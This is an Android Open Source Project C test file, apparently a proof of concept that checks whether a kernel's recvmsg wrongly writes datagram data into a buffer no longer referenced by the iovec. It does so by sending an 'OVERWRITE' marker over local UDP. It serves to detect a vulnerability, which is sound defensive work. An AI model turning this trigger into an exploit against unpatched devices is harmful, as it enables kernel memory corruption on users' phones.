1 /** 2 * Copyright (C) 2018 The Android Open Source Project 3 * 4 * Licensed under the Apache License, Version 2.0 (the "License"); 5 * you may not use this file except in compliance with the License. 6 * You may obtain a copy of the License at 7 * 8 * http://www.apache.org/licenses/LICENSE-2.0 9 * 10 * Unless required by applicable law or agreed to in writing, software 11 * distributed under the License is distributed on an "AS IS" BASIS, 12 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 * See the License for the specific language governing permissions and 14 * limitations under the License. 15 */ 16 #include <sys/types.h> 17 #include <sys/wait.h> 18 #include <arpa/inet.h> 19 #include <netinet/in.h> 20 #include <stdio.h> 21 #include <stdlib.h> 22 #include <string.h> 23 #include <sys/socket.h> 24 #include <sys/wait.h> 25 #include <unistd.h> 26 27 #define EVIL_STRING "123456789\x00OVERWRITE\x00" 28 int udp_send() 29 { 30 int s; 31 struct sockaddr_in6 addr; 32 char data[160]; 33 s = socket(AF_INET6, SOCK_DGRAM, IPPROTO_IP); 34 memset(&addr, 0, sizeof(addr)); 35 addr.sin6_family = AF_INET6; 36 addr.sin6_port = htons(43786); 37 inet_pton(AF_INET6, "::1", &(addr.sin6_addr)); 38 sendto(s, "data", 4, 0, (struct sockaddr*)&addr, sizeof(addr)); 39 memset(data, 0, sizeof(data)); 40 memcpy(data, EVIL_STRING, sizeof(EVIL_STRING)); 41 sendto(s, data, sizeof(data), 0, (struct sockaddr*)&addr, sizeof(addr)); 42 return 0; 43 } 44 45 int udp_recv() 46 { 47 int s; 48 struct sockaddr_in6 addr; 49 struct msghdr msg; 50 struct iovec iov[2]; 51 char buf1[10], buf2[10], buf3[10]; 52 53 s = socket(AF_INET6, SOCK_DGRAM, IPPROTO_IP); 54 memset(&addr, 0, sizeof(addr)); 55 addr.sin6_family = AF_INET6; 56 addr.sin6_port = htons(43786); 57 inet_pton(AF_INET6, "::", &(addr.sin6_addr)); 58 bind(s, (struct sockaddr*)&addr, 128); 59 60 memset(buf1, 0, sizeof(buf1)); 61 memset(buf2, 0, sizeof(buf2)); 62 memset(buf3, 0, sizeof(buf3)); 63 memset(iov, 0, sizeof(iov)); 64 memset(&msg, 0, sizeof(msg)); 65 msg.msg_iov = iov; 66 msg.msg_iovlen = 2; 67 iov[0].iov_base = buf1; 68 iov[0].iov_len = sizeof(buf1); 69 iov[1].iov_base = buf2; 70 iov[1].iov_len = sizeof(buf2); 71 recvmsg(s, &msg, 0); 72 73 memset(buf1, 0, sizeof(buf1)); 74 memset(buf2, 0, sizeof(buf2)); // buf2 is zeroed here. 75 memset(buf3, 0, sizeof(buf3)); 76 memset(iov, 0, sizeof(iov)); 77 memset(&msg, 0, sizeof(msg)); 78 msg.msg_iov = iov; 79 msg.msg_iovlen = 1; 80 iov[0].iov_base = buf3; 81 iov[0].iov_len = sizeof(buf3); 82 recvmsg(s, &msg, MSG_PEEK); // No refrence to buf2 in this call. 83 84 printf("%s\n", buf2); // If buf2 has contents OVERWRITE, a vuln has occured. 85 return 0; // Exploit must occur in a forked process, return 113 won't work here. 86 } 87 88 int main() 89 { 90 pid_t send, recv; 91 int status = 0; 92 if ((recv = fork()) == 0) 93 exit(udp_recv()); 94 sleep(1); 95 if ((send = fork()) == 0) 96 exit(udp_send()); 97 for (pid_t pid = wait(&status); pid > 0; pid = wait(&status)); 98 } 99